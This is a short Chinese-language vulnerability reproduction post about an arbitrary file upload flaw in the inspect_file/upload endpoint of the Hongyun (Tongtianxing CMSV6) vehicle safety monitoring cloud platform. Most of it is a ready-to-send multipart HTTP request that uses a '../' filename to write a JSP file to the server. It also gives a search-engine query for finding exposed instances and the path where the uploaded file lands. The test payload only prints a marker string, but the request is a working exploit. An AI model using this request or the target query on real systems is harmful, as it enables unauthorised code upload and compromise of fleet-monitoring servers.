鸿运(通天星CMSV6车载)主动安全监控云平台inspect_file/upload存在任意文件上传漏洞

声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

鸿运(通天星CMSV6车载)主动安全监控云平台实现对计算资源、存储资源、网络资源、云应用服务进行7*24小时全时区、多地域、全方位、立体式、智能化的IT运维监控，保障IT系统安全、稳定、可靠运行。

漏洞描述

鸿运(通天星CMSV6车载)主动安全监控云平台存在inspect_file/upload存在任意文件上传漏洞

 资产搜索

body="./open/webApi.html" || body="/808gps/"

漏洞复现

POST /inspect_file/upload HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 219
Content-Type: multipart/form-data; boundary=2e7688d712bcc913201f327059f9976b

--2e7688d712bcc913201f327059f9976b
Content-Disposition: form-data; name="uploadFile"; filename="../ceshi.jsp"
Content-Type: application/octet-stream

<% out.println("ceshi"); %>
--2e7688d712bcc913201f327059f9976b--

上传路径：

http://127.0.0.1/upload/software/13201203286126400_ceshi.jsp